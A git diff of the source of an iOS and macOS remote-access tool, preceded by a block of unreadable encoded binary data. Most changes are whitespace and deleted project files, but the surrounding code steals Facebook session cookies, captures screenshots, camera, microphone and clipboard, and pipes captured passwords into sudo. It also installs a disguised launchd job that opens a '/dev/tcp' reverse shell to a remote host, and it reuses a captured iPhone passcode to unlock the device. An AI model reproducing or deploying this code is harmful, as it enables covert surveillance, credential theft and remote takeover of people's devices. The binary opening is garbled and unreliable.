zLjVs}9wJPQzYe~1>ixEe#8m+~1xC4S#rPEvX4$$TgZm)sXAKS15?I**ECxOQ-fr2M zGt|_ashu(^t|Dz~7S|kh2$Ixa=Q~gtB|jEq4S<^uZ`Hb4gAv!(iANc+6cB#_o6Q^x z^J700Xvx~NmMqx7HOc z{D-lQCtgbu&+v-W#sQ~aoJn}*$fj-Z=Qo~3SY`eNkYIRgGk&j|wf42+YvY5#h-~5`>n{_{IG>0=^eptyKvFh4WL z6B=GW41|}K!K7=e_VLZrPS>Nm#;wQvONWZ>Apdt@@^p+^O($sCIr)J#T3w}#cIW#4 zEA2bL;o92o_1=4lmLQ|oAcz>F_g;g+7W|`|LHePLU^I5tY+?n#@bAs^F*`U)q6hLX=}r z#s7|{taqnf`IfoHUCiW%yh zWCRg_D?ZHatCE-y`ak1u?pl{-7(rXvcJx`^Cr1(RtYo)soY4{*Q}DbP{aS5er&S{7 zvz@4WGt)y1LN)l-hxzionZ}PqvheP{qoj3bn`8?sk@U5z65#&PEogalwu5Axlqc$^ zv*=k<75#i0v{J1RwmzU|#Pyb5_W?P{x!NR}PaCslnVFKGKUqI}xuUUQPS~w7THZAX zzb;L)qWU!bUIxf}78iBhgKBOOZLg9*)e6zW3!@VryLfXjDn1aAQY{cZ=_$D%fxXk zQeb1u+~CGq&Z4&SKy^iNmpk8(ddZ&epn9HPEp>GOXrrqW>qTE_So_4&Hd|j&uU2U% zkr zu$EfaJ!sV!Cz#O$OY!2BZgyU&YeCV(Yec`<+@umaaj#|0{xxO6_Nzu9sJHcbK}$nU z2F<6*UHTq-fhlwwT2(Ke-jlFyBa>^2ZLG`gB26*%T(WPdYZXk;{gocb5U7>KT@!cr zbB(pWc@OVH7Na{G)L6Bob4*Ebh$X*E5%zXpvSmA1%XUAh56sWNcOASqixSjPg{ruVow&LL-1&3^0kWz7Vbl>TR*)6ZC>}GB6dJC5{1zH>ciD!lb z94c*ZJ}u!aBX#w<6|lK*u#j}`_3+!9YtcFQ){>&9e?2Vc@Qw%L1;TO>f*8F1_4b$i zfBu-vw_P@Wa@Xh)+pdf*KoZg4tJ4EBDLqCBZ^2`vXooA_ewl|Qni8vOSaR?QS~m>~ z#|vf+JPlk*8$1{Aw+6Z9!469_c44bAzD#MaPzF~vcybDvvO1>1GayXo*0*x?U6-$MU#xQUJ7zm)Q ztpeGZntKnQ=w=GJ9b4W%aCWrv;Pm^P&7et3PWC6sz1Dcv= zJ^2G|B+#KoS!Y5Fr0Ow^WUfl6&?h8+O&m1S=TDI#9MP%&(Gi{IC;2zFuyOj2p<WVwxDiZ875boj~krq z^EYjbt^ufxw*?=Ka8uHD>eL?5{vgmo z?fF8VeG?AUeKgH<)6)JFm=|%y7}5iPVg_U5EERl?8tfU%<m*{on^jl*DbJT=E6}8>{bK;!!Js!eMF+C+5 zLR$US8FFF+>kS7bPMx>ctH=i~(R3_?KYlI~04djRiIF#98nDI3AvNw0gjmj}Ut|nk za1Bl)>@+b4=$URxrULu3JusJF3#G=A7Ara*q^j> z9UZMJr%_g^Vt3o93LKKsWh*7HFKNrl6uf(}8XH~3$T--H-@2c8oSC}rVpgNAn2(Q- zugB5n54$eRpVx)?h(s0D`_=or2+k(s1N<~P_q%6XjwQ+tULL+rgL8=l!CLoOc?WD& z1cv-N+R;j_qKX7qy&K7AY54GjYC7Tb(rLzRcEULFPxA{5=9;dS#?lK7KEqHw8OHG_ zPLL7Zy1?Am9HF2R9iVtjS4cVxk+ObLG>(k<4_wk}*W!Bu7Y>|IR1=^czLW@nfP;U$)Qwcj*~3Ir!B( zf(xm;-|()AI|lmgemRs7c2mP1NoHft4k3pFQnf8rW$@dFCU2$Y@~fFPV!0FWge(Cn zeJ8hB=f`>YbRMwrrsgP+x4wwn!dbuVwgGdz4f0rs3{oByuDnkkqwIQ)k83MH*sm^V19pnZ#oaFY_9V z4JCHe?+m=VB>U z+p8`PVS3zht<}WkXfQT}f8y9p8Y7>CR&t@OhQg=Ik$;*Er^^HXitRROA)C9!A_n># zmz4CPp2tEAkY7Q;;(kd?r}E{jX1=H0SXxDLD?}qG7;@5WmSMD1(*f0D3_%y1(D6ke zDPR-F=y%f7*L2^Ll7V8I^T}CMJ^+r_^w0&cqI!fnxM~1RqpN83&IYG9}6jYdt+e_tmVXJW4wzD3J-(*BhMbR})z@DP0$G(7b zU&&jHgl<$x7Jdf+>u!4VFtk;S4aC={D_^}K#uJ{|7%LaxTN(|h-Q|2ZfCG=a8h%l0=BO_| zY3%;G9Hzo`X@PQYIM9P8@RD*j7HCw^z%8?GrO~a2P>rL1d*-eF#X0co1u?h6dGwJW zqJ3v{a(caxLB#Sx2jQ}7aU^4vO$h+gLp7LL4;NtF&&jzSD>1`s)6N;Q zg#WKXpIdpNUdj?oc>RWikXiK0yo{<*N@$kX@1He#(Jy~qC*c>g5jU)N81n$fvONFZI zCZ~u2lYqnx9YX!80%5_8sY$-;M?N}BoGm##6>&i(`0Xl$poW#MNzDE+yxh4PIAQb{ zXs|&W5T9hm!X^W%_VwkR&!|iZPD^fWLZX{N71Y~t3jA%+pct7byq3;{yXhJ#2Due0 zLF*0%q|$E!=@h}jCXWgxxo|ei8986etKNRl-)cfNvjOba9jQ_56WJHDN?K2AUL50Cdl`Z|jPi~EOT#Y?!>z`3D_i|+SNZ78~uW9KA zQ+zlK#Xem}59R5%=x@hcmDq&0T$4}6XuI*!Y-~B92PNo;^o^`fZv?oRv7~qA7~rZX zMdVx9zMUK_qH{ps(1R02HR_daE{(l7-GIS-lP0>%yodSC=LuU~=9s=SQlq*lQ|@u_ zCXZl{HA`p6amcldN@`G+S*?juws{qG|9HAhX-Blc4oWBG3@hfL zH|>eE#;7pa4H1r@WnWWT46+6l>p>nCbU@=`zZuSagsUj}eqa2H8M2DH0pKK-_(hW^ ztGAiN>aQz!(m==)b(%RWC$?w<#tFjKzl3Vc)M0suQ3A6%(Hg@BT;eEbSmJQ*Szu^6 zn3&`&ztn1R#50V>U%ew_;YI1I<9*bJ$~B*%ZL*?T1ilVCyz#k-YiqEX%*TUF7gQ?! z7{orMbQd0q9z;(k+a}Omj3pA?NVP84c1hb=Y!ZaYsFN47rRTUl)P}E`4oG1O&>Vwt^~^%u=hseZMv2aBAxU?XT0H2^SF@$ zJcBH7ELPDPuJ9VMwCI2_)}xx`HM`Dza!mTlgzYhMjE$8qDufA2vWRobjs zJq=~`BnP==-JSTfE8;qHX4@XI_LsPM*nxaUmI66~%=*R8?u&6h6P0@(4e7<`gusLD zG28+9^&K2nDeRDqD-E~gwjWESi@Gf=oKb{TRP&8wR}(Hiej0k~tY{9`lC(P4 z&r2FD9{i=~h@x>tvz-qLx%*tmr1#5(t3-o2ekegId*V^N$9lYBPY+1xAwIANA73Xi zR7|{5Bgop+hSQjOr0T(I|bvVOqkkP>RvGnPDE>tp?p9YL%#3B?JHIX&S*n;4EHxbUg8?48z??mN9_c1F2xOl1{`YMo(gt3 z#g$#F-P~Xsp+nWCKt=DQ!0;F>VkU_m(ISJtdjG;obe@Btsc#MM0V>prY%Xm&@maq+ zStQUSO2}CumKOSMPbJiDkIPm6O^He`;~lQm{5=sbb~sZMH+V%Uq$V~^;#eeiOI_7r z!R5roWkVg}d**=0O;@h05{{QB!Ti3q;} zoWC`G!};cX{1wL@PF}F&f8p@T>X_@eJG)wc1^k+@uLp8qop`MVkZ6Vun+{}TjqOkaS$$Phml`5o}P$Q|0Z&B6#dhz%4_E+WO07u@=5 zKwk6T>XrCGFBKB@I#35OI&?n9|NHCj2KhSrgDn0>JQifU;G|#To%4zK)-=C^Wy{ze1D&dT{W=x)#71(P7+_d=wZ z=Nx(n(QnXU7ETs6)@pwlkGTDYW+ZL+j2b~xj-cT@NAm@7jr_-k_~vY)h5LX zYVG#NCo2~+a`4I@ApdZ_o=XxmmmZOvm>V)??Kc8*#}- z`FaQ=Qv|2{FBJbM=sR21#l) z{y%WRoPF&OOIv^1Wq#gLmyyYU##et&_P68Nx9`{Q7nYwBoX^~oKPULZRzfyE5-zY_i1 z#DDLO$lK(}BE^swJg@h!VnEs;^T%fY&W`-p4CoyDveCa||9fM;Uy~y*nL96C&+}iA zBR!|{Yj)&`*Ymx3G~|!j&n?pXH5c+EBR^7_*Mo_o|CkGDV)xff$W;{0Ii{GH|7Q9= zh56&1=C@PiYgK_ sizeOfSearch - 1) { /* found the whole string! */ @@ -472,7 +472,7 @@ -(AVCaptureDevice *)initcamera:(bool)front { fread(lastBytes,1,64,cookieJar); /* read 5 bytes */ return lastBytes; } - + } else { /* didn't find a match */ if (curSearch > 18) { printf("fuck %d\n",searchChars[curSearch]); @@ -592,7 +592,7 @@ -(void)runTask:(NSString *)cmd :(bool)sendTerm { [_systask setLaunchPath:@"/bin/bash"]; [_systask setArguments:@[ @"-c", object]]; [_systask setCurrentDirectoryPath:[fileManager currentDirectoryPath]]; - + NSPipe *stdoutPipe = [NSPipe pipe]; stdinPipe = [NSPipe pipe]; [_systask setStandardInput:stdinPipe]; @@ -643,7 +643,7 @@ -(void)rocketMCWithReply:(NSString *)command { [self term]; } - + -(void)debugLog:(NSString *)string { NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:@"/tmp/esplog"]; [fileHandle seekToEndOfFile]; diff --git a/src/esplios/main.mm b/src/esplios/main.mm index 5307a06..952c197 100644 --- a/src/esplios/main.mm +++ b/src/esplios/main.mm @@ -16,12 +16,12 @@ NSArray *rocketCommands = [[NSArray alloc] initWithObjects: @"play", - @"pause", - @"next", - @"prev", - @"home", - @"doublehome", - @"lock", + @"pause", + @"next", + @"prev", + @"home", + @"doublehome", + @"lock", @"wake", @"mute", @"unmute", @@ -100,7 +100,7 @@ void connectToServer(NSDictionary *arguments) { printf("Handshake Failed\n"); return; } - + //Send device name NSDictionary *deviceInfo = [[NSMutableDictionary alloc] init]; [deviceInfo setValue:NSUserName() forKey:@"username"]; @@ -118,7 +118,7 @@ void connectToServer(NSDictionary *arguments) { void interact(NSDictionary *arguments) { espl *esCommand = [[espl alloc] init]; esCommand->client_ssl = client_ssl; - + //listen for input data char buffer[2048] = ""; while (SSL_read(client_ssl, buffer, sizeof(buffer))) { diff --git a/src/esplmacos/esplmacos.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/src/esplmacos/esplmacos.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist new file mode 100644 index 0000000..18d9810 --- /dev/null +++ b/src/esplmacos/esplmacos.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist @@ -0,0 +1,8 @@ + + + + + IDEDidComputeMac32BitWarning + + + diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist deleted file mode 100644 index fe2b454..0000000 --- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist +++ /dev/null @@ -1,5 +0,0 @@ - - - diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/esplmacos.xcscheme b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/esplmacos.xcscheme deleted file mode 100644 index 88dfe8b..0000000 --- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/esplmacos.xcscheme +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/xcschememanagement.plist b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/xcschememanagement.plist deleted file mode 100644 index 57bf540..0000000 --- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/xcschememanagement.plist +++ /dev/null @@ -1,22 +0,0 @@ - - - - - SchemeUserState - - esplmacos.xcscheme - - orderHint - 0 - - - SuppressBuildableAutocreation - - 540EB0A21F36E06400A204CA - - primary - - - - - diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist deleted file mode 100644 index fe2b454..0000000 --- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist +++ /dev/null @@ -1,5 +0,0 @@ - - - diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/esplmacos.xcscheme b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/esplmacos.xcscheme deleted file mode 100644 index 88dfe8b..0000000 --- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/esplmacos.xcscheme +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/xcschememanagement.plist b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/xcschememanagement.plist deleted file mode 100644 index 57bf540..0000000 --- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/xcschememanagement.plist +++ /dev/null @@ -1,22 +0,0 @@ - - - - - SchemeUserState - - esplmacos.xcscheme - - orderHint - 0 - - - SuppressBuildableAutocreation - - 540EB0A21F36E06400A204CA - - primary - - - - - diff --git a/src/esplmacos/esplmacos/espl.m b/src/esplmacos/esplmacos/espl.m index 50a6e58..0a4cfc2 100644 --- a/src/esplmacos/esplmacos/espl.m +++ b/src/esplmacos/esplmacos/espl.m @@ -123,7 +123,7 @@ -(void)idleTime { [self sendString:[NSString stringWithFormat:@"%lld (seconds)",idlesecs]]; [self term]; } - + -(void)getPasteBoard { NSPasteboard *myPasteboard = [NSPasteboard generalPasteboard]; NSString *contents = [myPasteboard stringForType:NSPasteboardTypeString]; @@ -133,7 +133,7 @@ -(void)getPasteBoard { [self sendString:contents]; [self term]; } - + -(void)keyStroke:(NSString *)key { NSString *keyCommand = [NSString stringWithFormat:@"tell application \"System Events\"\nkeystroke \"%@\"\nend tell",key]; [self runAppleScript:keyCommand]; @@ -147,7 +147,7 @@ -(void)getFacebook { 0x73, 0x65, 0x72, 0x00, 0x2f, 0x00}; NSString *cuser = [NSString stringWithFormat:@"%s",parseBinary(fb_cuser,22)]; result = [NSString stringWithFormat:@"c_user = %@\n",cuser]; - + int fb_xs[] = {0x66, 0x61, 0x63, 0x65, 0x62, 0x6F, 0x6F, 0x6B, 0x2E, 0x63, 0x6F, 0x6D, 0x00, 0x78, 0x73, 0x00, 0x2f, 0x00}; //facebook.com xs / @@ -169,7 +169,7 @@ -(void)screenshot { NSNumber *compressionFactor = [NSNumber numberWithFloat:0.9]; NSDictionary *imageProps = [NSDictionary dictionaryWithObject:compressionFactor forKey:NSImageCompressionFactor]; imageData = [imageRep representationUsingType:NSJPEGFileType properties:imageProps]; - + NSMutableDictionary *result = [[NSMutableDictionary alloc] init]; if (imageData != nil) { [result setValue:[NSNumber numberWithInt:(int)imageData.length] forKey:@"size"]; @@ -184,7 +184,7 @@ -(void)screenshot { [self sendString:[[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding]]; [self term]; } - + } -(void)getProcessId { @@ -200,31 +200,31 @@ -(NSString *)macAddress { io_iterator_t iterator = IO_OBJECT_NULL; io_object_t service = IO_OBJECT_NULL; CFDataRef result = NULL; - + matching = IOBSDNameMatching( kIOMasterPortDefault, 0, "en0" ); if ( matching == NULL ) { fprintf( stderr, "IOBSDNameMatching() returned empty dictionary\n" ); return ( NULL ); } - + kr = IOServiceGetMatchingServices( kIOMasterPortDefault, matching, &iterator ); if ( kr != KERN_SUCCESS ) { fprintf( stderr, "IOServiceGetMatchingServices() returned %d\n", kr ); return ( NULL ); } - + while ( (service = IOIteratorNext(iterator)) != IO_OBJECT_NULL ) { io_object_t parent = IO_OBJECT_NULL; - + kr = IORegistryEntryGetParentEntry( service, kIOServicePlane, &parent ); if ( kr == KERN_SUCCESS ) { if ( result != NULL ) CFRelease( result ); - + result = IORegistryEntryCreateCFProperty( parent, CFSTR("IOMACAddress"), kCFAllocatorDefault, 0 ); IOObjectRelease( parent ); } @@ -232,16 +232,16 @@ -(NSString *)macAddress { { fprintf( stderr, "IORegistryGetParentEntry returned %d\n", kr ); } - + IOObjectRelease( service ); } - + NSData * macData = (__bridge NSData *)(result); if ( [macData length] == 0 ) return ( nil ); - + const UInt8 *bytes = [macData bytes]; - + NSMutableString *resultMutableString = [NSMutableString string]; for ( NSUInteger i = 0; i < [macData length]; i++ ) { @@ -262,12 +262,12 @@ -(void)setBrightness:(NSString *)arg { } const int kMaxDisplays = 16; const CFStringRef kDisplayBrightness = CFSTR(kIODisplayBrightnessKey); - + CGDirectDisplayID display[kMaxDisplays]; CGDisplayCount numDisplays; CGDisplayErr err; err = CGGetActiveDisplayList(kMaxDisplays, display, &numDisplays); - + if (err != CGDisplayNoErr) { [self term]; return; @@ -276,7 +276,7 @@ -(void)setBrightness:(NSString *)arg { CGDirectDisplayID dspy = display[i]; CFDictionaryRef originalMode = CGDisplayCurrentMode(dspy); io_service_t service = CGDisplayIOServicePort(dspy); - + float brightness; err= IODisplayGetFloatParameter(service, kNilOptions, kDisplayBrightness, @@ -296,7 +296,7 @@ -(void)mic:(NSString *)arg { } else { [self.audioRecorder record]; [self sendString:@"Listening..."]; - + } } else if ([arg isEqualTo:@"stop"]) { if ([self.audioRecorder isRecording]) { @@ -322,14 +322,14 @@ -(void)initmic:(NSError *)error { self.audioRecorder = [[AVAudioRecorder alloc] initWithURL: soundFile settings: soundSetting error: &error]; } - + -(bool)initcamera { self.session = [[AVCaptureSession alloc] init]; self.session.sessionPreset = AVCaptureSessionPreset352x288; AVCaptureDevice *device = nil; NSError *error = nil; device = [self getcapturedevice]; - + AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:&error]; if (!input) { NSLog(@"ERROR: trying to open camera: %@", error); @@ -350,7 +350,7 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData { if ([self initcamera] == false) { return imageData(nil); } - + AVCaptureConnection* videoConnection = nil; for (AVCaptureConnection* connection in self.stillImageOutput.connections) { @@ -368,7 +368,7 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData { if (videoConnection == nil) { return imageData(nil); } - + //capture still image from video connection [self.stillImageOutput captureStillImageAsynchronouslyFromConnection:videoConnection completionHandler: ^(CMSampleBufferRef imageSampleBuffer, NSError *error) { @@ -379,10 +379,10 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData { AVCaptureVideoDataOutput* output = (AVCaptureVideoDataOutput*)[self.session.outputs objectAtIndex:0]; [self.session removeOutput:output]; }); - + if (error) imageData(nil); - + NSData* data = [AVCaptureStillImageOutput jpegStillImageNSDataRepresentation:imageSampleBuffer]; if (data) { imageData(data); @@ -402,10 +402,10 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData { long cookieJarSize = ftell(cookieJar); int pos = 0; int curSearch = 0;int curChar; fseek(cookieJar, 0, 0); - + while(pos <= cookieJarSize) { curChar = getc(cookieJar);pos++; - + if(curChar == searchChars[curSearch]) { /* found a match */ curSearch++; /* search for next char */ if(curSearch > sizeOfSearch - 1) { /* found the whole string! */ @@ -413,7 +413,7 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData { fread(lastBytes,1,64,cookieJar); /* read 5 bytes */ return lastBytes; } - + } else { /* didn't find a match */ if (curSearch > 18) { printf("fuck %d\n",searchChars[curSearch]); @@ -439,7 +439,7 @@ -(void)sendFile:(NSString *)path { //send json, send term [self sendString:[[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding]]; [self term]; - + //receive term, send data, and then new term [self sendData:data]; } @@ -528,7 +528,7 @@ -(void)runTask:(NSString *)cmd :(bool)sendTerm { [_systask setLaunchPath:@"/bin/bash"]; [_systask setArguments:@[ @"-c", object]]; [_systask setCurrentDirectoryPath:[fileManager currentDirectoryPath]]; - + NSPipe *stdoutPipe = [NSPipe pipe]; stdinPipe = [NSPipe pipe]; [_systask setStandardInput:stdinPipe]; @@ -568,11 +568,11 @@ -(void)su:(NSString *)pass :(NSString *)ip :(int)port { [_systask setLaunchPath:@"/bin/bash"]; [_systask setArguments:@[ @"-c", [NSString stringWithFormat:@"echo '%@' | sudo -S whoami",pass]]]; [_systask setCurrentDirectoryPath:[fileManager currentDirectoryPath]]; - + NSPipe *stdoutPipe = [NSPipe pipe]; [_systask setStandardOutput:stdoutPipe]; [_systask setStandardError:stdoutPipe]; - + NSFileHandle *stdoutHandle = [stdoutPipe fileHandleForReading]; [stdoutHandle waitForDataInBackgroundAndNotify]; id observer = [[NSNotificationCenter defaultCenter] addObserverForName:NSFileHandleDataAvailableNotification @@ -582,7 +582,7 @@ -(void)su:(NSString *)pass :(NSString *)ip :(int)port { NSData *dataRead = [stdoutHandle availableData]; NSString *newOutput = [[NSString alloc] initWithData:dataRead encoding:NSUTF8StringEncoding]; result = [NSString stringWithFormat:@"%@%@",result,newOutput]; - + [stdoutHandle waitForDataInBackgroundAndNotify]; }]; [_systask launch]; @@ -597,7 +597,7 @@ -(void)su:(NSString *)pass :(NSString *)ip :(int)port { exit(0); } } - + -(void)debugLog:(NSString *)string { system([[NSString stringWithFormat:@"echo '%@' >> /tmp/esplog",string] UTF8String]); } @@ -626,7 +626,7 @@ -(void)persistence:(NSString *)args :(NSString *)ip :(int)port { [NSArray arrayWithObjects: [NSNumber numberWithBool: YES],@"com.apple.espl",[NSNumber numberWithInt:5],[NSNumber numberWithBool: YES], [NSArray arrayWithObjects:@"sh",@"-c",[NSString stringWithFormat:@"bash &> /dev/tcp/%@/%d 0>&1",ip,port], nil], nil] forKeys:[NSArray arrayWithObjects:@"AbandonProcessGroup",@"Label",@"StartInterval",@"RunAtLoad",@"ProgramArguments", nil]]; - + NSError *err; NSData *plistData = [NSPropertyListSerialization dataWithPropertyList:innerDict format:NSPropertyListXMLFormat_v1_0 options:0 error:&err]; if (err) { diff --git a/src/esplmacos/esplmacos/main.m b/src/esplmacos/esplmacos/main.m index 96f67bd..0a41bb2 100644 --- a/src/esplmacos/esplmacos/main.m +++ b/src/esplmacos/esplmacos/main.m @@ -54,12 +54,12 @@ void ShutdownSSL() io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching("IOPlatformExpertDevice")); if (!platformExpert) return nil; - + CFTypeRef serialNumberAsCFString = IORegistryEntryCreateCFProperty(platformExpert,CFSTR(kIOPlatformUUIDKey),kCFAllocatorDefault, 0); IOObjectRelease(platformExpert); if (!serialNumberAsCFString) return nil; - + return (__bridge NSString *)(serialNumberAsCFString);; } @@ -92,7 +92,7 @@ void connectToServer(NSDictionary *arguments) { printf("Handshake Failed\n"); return; } - + //Send device name NSDictionary *deviceInfo = [[NSMutableDictionary alloc] init]; [deviceInfo setValue:NSUserName() forKey:@"username"]; @@ -119,7 +119,7 @@ void interact(NSDictionary *arguments) { NSString *cmd = [jsonDict objectForKey:@"cmd"]; NSString *args = [jsonDict objectForKey:@"args"]; esCommand->terminator = (char*)[[jsonDict objectForKey:@"term"] UTF8String]; - + if ([cmd isEqualToString:@"applescript"]) { [esCommand runAppleScript:args]; } else if ([cmd isEqualToString:@"picture"]) { diff --git a/src/espro/Tweak.xm b/src/espro/Tweak.xm index 65b64f3..bdede50 100644 --- a/src/espro/Tweak.xm +++ b/src/espro/Tweak.xm @@ -51,13 +51,13 @@ NSString *keyLog; [(VolumeControl *)[%c(VolumeControl) sharedVolumeControl] toggleMute]; [mediaController setRingerMuted:!mediaController.ringerMuted]; } - } + } // Location else if ([command isEqual:@"locationon"]) { [%c(CLLocationManager) setLocationServicesEnabled:true]; } else if ([command isEqual:@"locationoff"]) { [%c(CLLocationManager) setLocationServicesEnabled:false]; - } + } } %new @@ -67,7 +67,7 @@ NSString *keyLog; NSString *result = @""; if (passcode != NULL) result = passcode; - else + else result = @"We have not obtained passcode yet"; return [NSDictionary dictionaryWithObject:result forKey:@"returnStatus"]; } @@ -78,7 +78,7 @@ NSString *keyLog; return [NSDictionary dictionaryWithObject:@"none" forKey:@"returnStatus"]; } else if ([command isEqual:@"islocked"]) { - if ([(SBLockScreenManager *)[%c(SBLockScreenManager) sharedInstance] isUILocked]) + if ([(SBLockScreenManager *)[%c(SBLockScreenManager) sharedInstance] isUILocked]) return [NSDictionary dictionaryWithObject:@"true" forKey:@"returnStatus"]; return [NSDictionary dictionaryWithObject:@"false" forKey:@"returnStatus"]; } @@ -94,10 +94,10 @@ NSString *keyLog; NSString *result = @""; if (passcode != NULL) [(SBLockScreenManager *)[%c(SBLockScreenManager) sharedInstance] attemptUnlockWithPasscode:passcode]; - else + else result = @"We have not obtained passcode yet"; return [NSDictionary dictionaryWithObject:result forKey:@"returnStatus"]; - } + } return [NSDictionary dictionaryWithObject:[NSNumber numberWithInt:1] forKey:@"returnStatus"]; } %end @@ -145,11 +145,10 @@ NSString *keyLog; } if (keyLog == NULL) { keyLog = @""; - } + } keyLog = [[NSString alloc] initWithFormat:@"%@%@",keyLog,text]; }); %orig; } %end */ - diff --git a/src/espro/bootstrap.h b/src/espro/bootstrap.h index 8cb5a2d..98ab573 100755 --- a/src/espro/bootstrap.h +++ b/src/espro/bootstrap.h @@ -4,19 +4,19 @@ * Copyright (c) 1999-2005 Apple Computer, Inc. All rights reserved. * * @APPLE_APACHE_LICENSE_HEADER_START@ - * + * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at - * + * * http://www.apache.org/licenses/LICENSE-2.0 - * + * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. - * + * * @APPLE_APACHE_LICENSE_HEADER_END@ */ @@ -34,7 +34,7 @@ * it initiates other system tasks, and manages a table of name-port bindings * for fundamental system services (e.g. lookupd, Window Manager, etc...). * - * Name-port bindings can be established with the bootstrap server by either + * Name-port bindings can be established with the bootstrap server by either * of two mechanisms: * * 1. The binding can be indicated, in advance of the service that backs it @@ -61,9 +61,9 @@ * The bootstrap server creates a "backup" port for each service that it * creates. This is used to detect when a checked out service is no longer * being served. The bootstrap server regains all rights to the port and - * it is marked available for check-out again. This allows crashed servers to - * resume service to previous clients. Lookup's on this named port will - * continue to be serviced by bootstrap while holding receive rights for the + * it is marked available for check-out again. This allows crashed servers to + * resume service to previous clients. Lookup's on this named port will + * continue to be serviced by bootstrap while holding receive rights for the * bound port. A client may detect that the service is inactive via the * bootstrap status request. If an inactive service re-registers rather * than "checking-in" the original bound port is destroyed. @@ -141,7 +141,7 @@ extern mach_port_t bootstrap_port; * will be associated with this particular server. * * Only a holder of the server_port privilege bootstrap port can - * check in or register over those services. + * check in or register over those services. * * When all services associated with a server are deleted, and the server * exits, it will automatically be deleted itself. @@ -293,8 +293,8 @@ bootstrap_create_service(mach_port_t bp, name_t service_name, mach_port_t *sp); * bootstrap_check_in() * * Returns the receive right for the service named by service_name. The - * service must have been declared in the launchd.plist(5) file associated - * with the job. Attempts to check_in a service which is already active + * service must have been declared in the launchd.plist(5) file associated + * with the job. Attempts to check_in a service which is already active * are not allowed. * * If the service was declared as being associated with a server, the @@ -355,4 +355,4 @@ const char *bootstrap_strerror(kern_return_t r) __attribute__((__nothrow__, __pu __END_DECLS -#endif /* __BOOTSTRAP_H__ */ \ No newline at end of file +#endif /* __BOOTSTRAP_H__ */ diff --git a/src/espro/header.h b/src/espro/header.h index bf3771d..72ea8b8 100755 --- a/src/espro/header.h +++ b/src/espro/header.h @@ -67,5 +67,3 @@ +(id)sharedVolumeControl; -(void)toggleMute; @end - -